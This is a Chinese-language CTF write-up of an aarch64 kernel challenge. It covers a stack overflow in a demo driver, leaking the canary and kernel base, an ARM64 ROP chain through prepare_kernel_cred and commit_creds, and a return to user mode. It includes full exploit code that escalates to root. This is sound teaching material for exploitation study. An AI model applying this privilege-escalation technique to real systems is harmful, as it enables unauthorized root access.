2022年的一场分站赛的题,当时只有5个解,但是赛后评价似乎不是特别难,这里来复现一下
一道arm架构的内核题,先来看看启动脚本:
#! /bin/sh
#
# run.sh
# Copyright (C) 2022 hal <hal@server20>
#
# Distributed under terms of the MIT license.
#
timeout --foreground 60 qemu-system-aarch64 \
-m 128M \
-machine virt \
-cpu max \
-kernel ./Image \
-append "console=ttyAMA0 loglevel=3 oops=panic panic=1" \
-initrd ./initramfs.cpio.gz \
-monitor /dev/null \
-smp cores=1,threads=1 \
-nographic
可以看到是一个单内核单线程的题,用的是qemu-system-aarch64启动,那么就判断是个arm架构题且可以排除条
件竞争类的漏洞了
然后看看启动脚本
#!/bin/sh
mount -t devtmpfs none /dev
mount -t proc none /proc
mount -t sysfs none /sys
insmod /home/pwn/demo.ko
chown -R 1000:1000 /home/pwn
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cd /home/pwn
setsid cttyhack setuidgid 1000 sh
umount /proc
poweroff -f
禁止打印调试信息,想看的话删了那个echo就行,可以看到我们的究极目的是提权然后读root权限的flag
然后解包看看ko:
设备名叫demo,主要实现了read和write
先来看read,这里ida反汇编出来的伪代码有点问题,memcpy那里的参数少了点东西
我们来直接看汇编
可以看到length这个参数和1<<12比较了一下之后就没再动过了,然后再执行memcpy的时候,参数1和参数2分别是demo_buf和buffer,所以其实memcpy是把内核栈上的长度不超过0x1000大小的数据复制到全局变量demo_buf中。
然后又把demo_buf中的数据拷贝到用户态缓冲区
再来看看write
这里write的功能也非常简单,就是将用户输入的东西存进内核栈中
read和write都有大范围的溢出,所以其实这道题就是一个简单的kernel rop和arm的融合体,考察的应该就是选手在arm架构写kernel rop的能力。
这里踩了一个小坑,还是要自己下源码自己编译,直接下来的版本过低导致会有报错。
启动脚本里加个-s,启动之后另开一个终端,输入
gdb-multiarch
然后执行
set architecture aarch64
target remote localhost:1234
然后就可以调试了
接下来是泄露地址,因为有大范围的越界读,所以直接去读内核栈上的东西,然后打印出来看看先
int main()
{
int fd = open("/proc/demo",2);
if (fd < 0)
{
puts("open error");
exit(-1);
}
size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 36; i++)
{
printf("id %d : 0x%llx\n",i,leak[i]);
}
return 0;
};
可以看到idx为2的地方应该是一个内核上的地址,那么偏移是多少呢,我们将kalsr关闭,然后再来一次看看:
所以我们就可以通过计算得到偏移,从而拿到kernel_base,这里提一嘴,似乎远程并没有开kalsr,但是拿到的启动脚本里也的确没有nokalsr, 可能是不同的qemu默认启动kalsr的情况不一样?不过由于是赛后复现,启动脚本怎么给的我们怎么来就是了,反正kalsr也不难bypass
顺便拿到了commit_creds和prepare_kernel_cred 的地址:
commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;
然后是找一下canary,它应该是一个八字节的随机值,并且末尾是\x00,因为要截断
看了一下,显然idx为12的地方的值非常满足要求,我们来试试就知道了
#include <stdio.h>
#include <stdlib.h>
#include <linux/types.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
size_t commit_creds, prepare_kernel_cred = 0; // 0xffff8000080a2258 0xffff8000080a24f8
size_t kernel_base,offset = 0; // 0xffff800008000000
size_t gadget2 = 0;
void shell(void)
{
char buf[0x40] = {0};
int fd = open("/flag",0);
read(fd, buf, 0x40);
write(1, buf, 0x40);
}
int main()
{
int fd = open("/proc/demo",2);
if (fd < 0)
{
puts("open error");
exit(-1);
}
size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 36; i++)
{
printf("id %d : 0x%llx\n",i,leak[i]);
}
size_t offset=leak[2]-0xffff8000082376f8;
size_t kernel_base=0xffff800008000000+offset;
size_t canary=leak[12];
printf("[*]kernel_base=%llx\n,[*]canary=%llx\n",kernel_base,canary);
leak[13]=1;
leak[14]=2;
leak[15]=3;
leak[16]=4;
leak[17]=5;
leak[18]=6;
leak[19]=7;
leak[20]=8;
write(fd, leak, 0x200);
close(fd);
return 0;
};
之前我们能够看到idx为12和16的值是一样的,现在我们进行溢出,让idx16位置的值不是canary,看看会不会报错
可以看到的确报了stack-protector,这个就是校验canary失败了
然后我们将idx16的位置写上canary,别的东西不动,再运行一次
此时的报错已经不再是stack-protector,说明canary的检测已经通过了,至于为什么会报错是因为返回地址我们也是随便写的。从这里也能看出来,返回地址是在idx18的位置。
到这里,我们拿到了kernel_base和canary,知道了返回地址的位置,剩下要进行的工作就是寻找好用的gadget,写好rop链即可。
首先我们想要执行的是prepare_kernel_cred(0),第一个参数对应的寄存器是X0,所以要找类似mov X0,0或者mov W0,0的gadget
来看这个gadget
这里将W0设为0,并且根据栈上内容设置一些寄存器,最后RET返回,这里注意RET返回的是X30地址,而不是像x86那样从栈上获取返回地址。所以这里我们既可以控制X0,又可以控制返回地址,是个非常好用的gadget
找到了gadget我们要找是栈上哪个位置的数据控了X30,因为RET是根据X30返回的,这里用一种个人认为无脑但是有效的办法,直接通过报错来看:
size_t offset=leak[2]-0xffff8000082376f8;
size_t kernel_base=0xffff800008000000+offset;
size_t canary=leak[12];
size_t gadget=kernel_base+0x16950;
printf("[*]kernel_base=%llx\n,[*]canary=%llx\n",kernel_base,canary);
leak[13]=1;
leak[14]=2;
leak[15]=3;
leak[16]=canary;
leak[17]=5;
leak[18]=gadget;
for(int i=19;i<30;i++)leak[i]=i;
write(fd, leak, 0x200);
然后去看call trace,PC在哪里崩溃,就说明哪里是下一个返回地址
可以看到这里是在0x16崩溃的,那么0x16也就是idx为22的地方装的是下一步的返回地址
然后用同样的方法继续试探:
leak[16]=canary;
leak[18]=gadget;
leak[22]=prepare_kernel_cred+4;
for(int i=23;i<40;i++)leak[i]=i;
write(fd, leak, 0x200);
close(fd);
这里注意,在写函数地址的时候要+4,因为aarch64架构中在开辟函数栈帧的时候,始终用的都是X30,可以看个例子:
这里可以看到,它是先把X30存到栈上,然后在函数退出的时候把之前放在栈上的地址取回来,从而实现函数的进入与退出,但是由于我们是直接控的X30寄存器实现的跳转进指定函数,所以这个X30取来取去都是被调用函数,这里就需要避开第一个STP指令,这样就可以通过布置栈结构,进行指定函数调用链的执行。
回到刚才的地方,我们继续通过这种方式进行试探
这次是跳到了0x20,也就是32,所以下一个返回地址是idx为32的地方
我们在idx32的地方写上commit_creds+4
到这里已经成功提权,还需要返回用户态
需要知道的是ARM64使用SVC指令进入内核态,使用ERET指令返回用户态,同x86一样,ARM在进入内核态之前会保存用户态所有寄存器状态,在返回时恢复。其中比较重要的寄存器有SP_EL0、ELR_EL1、SPSR_EL1,它们保存内容分别如下:
- SP_EL0保存用户态的栈指针
- ELR_EL1保存要返回的用户态PC指针
- SPSR_EL1保存一个值,暂不知道是何用处,但他的值是固定的0x80001000
我们手动恢复这几个寄存器,然后在调用ERET时就可以返回用户态执行函数了
0xffff800008011fe4: msr sp_el0, x23
0xffff800008011fe8: tst x22, #0x10
0xffff800008011fec: b.eq 0xffff800008011ff4 // b.none
0xffff800008011ff0: nop
0xffff800008011ff4: ldr x0, [x28, #3432]
0xffff800008011ff8: b 0xffff800008012024
0xffff800008012024: msr elr_el1, x21
0xffff800008012028: msr spsr_el1, x22
0xffff80000801202c: ldp x0, x1, [sp]
0xffff800008012030: ldp x2, x3, [sp, #16]
0xffff800008012034: ldp x4, x5, [sp, #32]
0xffff800008012038: ldp x6, x7, [sp, #48]
0xffff80000801203c: ldp x8, x9, [sp, #64]
0xffff800008012040: ldp x10, x11, [sp, #80]
0xffff800008012044: ldp x12, x13, [sp, #96]
0xffff800008012048: ldp x14, x15, [sp, #112]
0xffff80000801204c: ldp x16, x17, [sp, #128]
0xffff800008012050: ldp x18, x19, [sp, #144]
0xffff800008012054: ldp x20, x21, [sp, #160]
0xffff800008012058: ldp x22, x23, [sp, #176]
0xffff80000801205c: ldp x24, x25, [sp, #192]
0xffff800008012060: ldp x26, x27, [sp, #208]
0xffff800008012064: ldp x28, x29, [sp, #224]
0xffff800008012068: nop
0xffff80000801206c: nop
0xffff800008012070: nop
可以看到恢复sp_el0用的是X23,ELR_EL1用的是X21,SPSR_EL1用的是X22,而根据修改过的rop链继续探测:
leak[16]=canary;
for(int i=17;i<55;i++)leak[i]=i;
leak[18]=gadget;
leak[22]=prepare_kernel_cred+4;
leak[32]=commit_creds+4;
write(fd, leak, 0x200);
可以得到如下结果:
即下一个返回地址应该是idx为36的地方,且X21的值来自idx25,X22来自idx26,X23来自idx27
所以最后形成了这样的rop链
leak[16]=canary;
for(int i=17;i<55;i++)leak[i]=i;
leak[18]=gadget;
leak[22]=prepare_kernel_cred+4;
leak[25]=(size_t)shell;
leak[26]=0x80001000;
leak[27]=(size_t)leak;
leak[32]=commit_creds+4;
leak[36]=kernel_base+0x11fe4;
成功拿到flag:
完整exp:
#include <stdio.h>
#include <stdlib.h>
#include <linux/types.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
size_t commit_creds, prepare_kernel_cred = 0;
size_t kernel_base,offset = 0;
size_t gadget2 = 0;
void shell(void)
{
char buf[0x40] = {0};
int fd = open("/flag",0);
read(fd, buf, 0x40);
write(1, buf, 0x40);
}
int main()
{
int fd = open("/proc/demo",2);
if (fd < 0)
{
puts("open error");
exit(-1);
}
size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 36; i++)
{
printf("id %d : 0x%llx\n",i,leak[i]);
}
size_t offset=leak[2]-0xffff8000082376f8;
size_t kernel_base=0xffff800008000000+offset;
size_t canary=leak[12];
size_t gadget=kernel_base+0x16950;
size_t commit_creds = kernel_base + 0xa2258;
size_t prepare_kernel_cred = kernel_base + 0xa24f8;
printf("[*]kernel_base=%llx\n,[*]canary=%llx\n",kernel_base,canary);
leak[16]=canary;
for(int i=17;i<55;i++)leak[i]=i;
leak[18]=gadget;
leak[22]=prepare_kernel_cred+4;
leak[25]=(size_t)shell;
leak[26]=0x80001000;
leak[27]=(size_t)leak;
leak[32]=commit_creds+4;
leak[36]=kernel_base+0x11fe4;
write(fd, leak, 0x200);
close(fd);
return 0;
};